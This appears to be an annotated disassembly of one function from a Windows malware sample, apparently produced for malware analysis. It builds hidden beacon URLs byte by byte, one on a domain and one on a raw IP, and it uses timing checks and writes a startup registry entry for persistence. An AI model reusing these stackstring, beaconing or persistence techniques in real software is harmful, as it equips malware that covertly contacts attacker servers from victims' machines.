Function at 0x403690
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x434a20]
xor eax, ebp
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
call fcn.004056c0
fldz
fstp dword [ebp - 4]
fldz
fstp dword [ebp - 0x34]
push str.g2bHJ__UUzBO2LLFM5
push 0x2f
push 0x17
call fcn.004046a0
add esp, 0xc
fldz
fstp dword [ebp - 0x38]
mov dword [ebp - 0x3c], 0
jmp 0x4036e0
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x7a120
jae 0x40372e
call fcn.00419318
mov dword [ebp - 0x48], eax
fild dword [ebp - 0x48]
fstp dword [ebp - 4]
call fcn.00419318
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x4c]
fstp dword [ebp - 0x34]
call fcn.00419318
mov dword [ebp - 0x50], eax
fild dword [ebp - 0x50]
fstp dword [ebp - 0x38]
push str.oQAAGU783BAGHqK4ET4P
call fcn.00404250
add esp, 4
fld dword [ebp - 0x34]
fmul dword [ebp - 4]
fmul dword [ebp - 0x38]
fstp dword [ebp - 0x38]
jmp 0x4036d7
fld dword [ebp - 0x38]
fadd qword [0x42c5a0]
fstp dword [ebp - 0x38]
mov dword [ebp - 0x20], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 8]
ja 0x403754
jmp 0x40374a
push str.i_CxP__79WPhTRu6__
call fcn.00402c90
add esp, 4
mov edx, dword [0x436e00]
push edx
push 0
push 0
push 3
push 0x42c560
push 0x1a666f72
call fcn.004025a0
add esp, 0x18
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xb7
jne 0x403799
xor eax, eax
jmp 0x403c3e
mov byte [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov word [ebp - 0xf], ax
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x14], 0x64
mov byte [ebp - 0xf], 0x66
mov byte [ebp - 0x17], 0x62
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x18], 0x73
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x1a], 0x66
mov byte [ebp - 0x10], 0x65
push str.lpC:uDCMdUXk_Ni
call fcn.00402c90
add esp, 4
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x1c], 0x73
mov byte [ebp - 0xe], 0
mov byte [ebp - 0x12], 0x66
mov byte [ebp - 0x16], 0x63
push 0x42c828
push 0x436df4
call fcn.0041a680
add esp, 8
push 0x436df4
lea ecx, [ebp - 0x1c]
push ecx
call fcn.00404f10
add esp, 8
push 0x42c824
push 0x436df4
call fcn.0041a680
add esp, 8
push 0
call fcn.00403e90
add esp, 4
push eax
call fcn.0041930b
add esp, 4
push str.ep__5MlU_b:_pucClh
call fcn.004023e0
add esp, 4
mov byte [ebp - 0x30], 0
xor edx, edx
mov dword [ebp - 0x2f], edx
mov dword [ebp - 0x2b], edx
mov byte [ebp - 0x27], dl
mov byte [ebp - 0x30], 0x6e
mov byte [ebp - 0x2f], 0x73
mov byte [ebp - 0x2e], 0x62
mov byte [ebp - 0x2d], 0x67
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x2b], 0x69
mov byte [ebp - 0x2a], 0x61
mov byte [ebp - 0x29], 0x75
mov byte [ebp - 0x28], 0x73
mov byte [ebp - 0x27], 0
push 0x436ccc
lea eax, [ebp - 0x30]
push eax
call fcn.00404840
add esp, 8
test eax, eax
jne 0x4038a3
push 0x436ccc
call fcn.0040e450
add esp, 4
push 0x104
push 0x436cf0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x436cf0
call fcn.00419280
add esp, 4
push eax
push 0x436cf0
push 1
push 0x436a1c
push 0x436a30
push 0x80000001
push 6
push str.Shlwapi.dll
push 0x107e4c42
call fcn.004025a0
add esp, 0x24
push str.nMZRf9enaGKqUw37e
push 0x87
push 0x18
push 0x72
call fcn.00403c50
add esp, 0x10
mov byte [0x4368e9], 0x2f
mov byte [0x4368fa], 0x4f
mov byte [0x436908], 0x69
mov byte [0x4368fc], 0x2f
mov byte [0x4368ea], 0x2f
mov byte [0x436904], 0x74
mov byte [0x4368f2], 0x45
mov byte [0x436905], 0x2e
mov byte [0x4368f0], 0x46
mov byte [0x4368f3], 0x44
mov byte [0x4368e5], 0x74
mov byte [0x436900], 0x63
mov byte [0x436909], 0x3f
mov byte [0x436906], 0x63
mov byte [0x4368e4], 0x68
mov byte [0x4368ee], 0x55
mov byte [0x4368ed], 0x42
mov byte [0x4368fd], 0x67
mov byte [0x436902], 0x75
mov byte [0x436901], 0x6f
mov byte [0x4368fb], 0x4d
mov byte [0x4368eb], 0x44
mov byte [0x4368f7], 0x4b
mov byte [0x4368e7], 0x70
mov byte [0x4368f8], 0x2e
mov byte [0x4368f4], 0x42
mov byte [0x4368fe], 0x70
mov byte [0x4368ec], 0x45
mov byte [0x43690a], 0
mov byte [0x436907], 0x67
mov byte [0x4368f6], 0x43
mov byte [0x4368e6], 0x74
mov byte [0x4368f9], 0x43
mov byte [0x4368ff], 0x64
mov byte [0x436903], 0x6e
push str.18cMNaPgAz1KvRIS
call fcn.00407e80
add esp, 4
mov byte [0x4368f1], 0x45
mov byte [0x4368f5], 0x41
mov byte [0x4368e8], 0x3a
mov byte [0x4368ef], 0x47
mov byte [0x436b80], 0x33
mov byte [0x436b70], 0x3a
mov byte [0x436b7b], 0x36
mov byte [0x436b6f], 0x70
mov byte [0x436b75], 0x36
mov byte [0x436b88], 0x6e
mov byte [0x436b6d], 0x74
mov byte [0x436b6e], 0x74
mov byte [0x436b84], 0x64
mov byte [0x436b87], 0x75
mov byte [0x436b73], 0x32
mov byte [0x436b6c], 0x68
push str.4VnurH4:F_o7o9rM6I5
call fcn.00403eb0
add esp, 4
mov byte [0x436b74], 0x31
mov byte [0x436b86], 0x6f
mov byte [0x436b81], 0x2f
mov byte [0x436b79], 0x31
mov byte [0x436b83], 0x70
mov byte [0x436b7c], 0x35
mov byte [0x436b8d], 0x70
mov byte [0x436b78], 0x32
mov byte [0x436b7d], 0x2e
mov byte [0x436b8f], 0
mov byte [0x436b8c], 0x68
mov byte [0x436b8b], 0x70
mov byte [0x436b89], 0x74
mov byte [0x436b77], 0x31
mov byte [0x436b82], 0x67
mov byte [0x436b7e], 0x31
push str.GEROb_t_XVqJz6Gl
call fcn.00404250
add esp, 4
mov byte [0x436b7f], 0x35
mov byte [0x436b76], 0x2e
mov byte [0x436b8a], 0x2e
mov byte [0x436b72], 0x2f
mov byte [0x436b8e], 0x3f
mov byte [0x436b71], 0x2f
mov byte [0x436b85], 0x63
mov byte [0x436b7a], 0x2e
push 0x436bc8
call fcn.0040e150
add esp, 4
push str.startupdater
push 0x4368e4
call fcn.0040dd00
add esp, 8
push 0x43631c
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov dword [0x4361e4], eax
push str.e8s_dMnEssjAWXM
call fcn.00402c90
add esp, 4
push 0x4361e8
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov dword [0x436bc4], eax
push 0x436ba0
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov dword [0x43667c], eax
push 0
push 0x1a
push 0x436a68
push 0
push 4
push str.Shell32.dll
push 0x40c31d4
call fcn.004025a0
add esp, 0x1c
push 0x42c765
push 0x436a68
push 2
push 0x42c560
push 0x4345a47b
call fcn.004025a0
add esp, 0x14
test eax, eax
jne 0x403c29
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x44], 0x104
push str.GhE_Lr_i3zhK1XmJUzU
push 0x41
push str.8:KDpAMUB5fIoHAhO3
call fcn.00404460
add esp, 0xc
lea ecx, [ebp - 0x44]
push ecx
push 0x436a68
lea edx, [ebp - 0x40]
push edx
mov eax, dword [0x436e24]
push eax
mov ecx, dword [0x436e48]
push ecx
push 0x80000001
push 6
push str.Shlwapi.dll
push 0x107e4d02
call fcn.004025a0
add esp, 0x24
push 0x436350
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.00408220
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041943a
mov esp, ebp
pop ebp
ret 0x10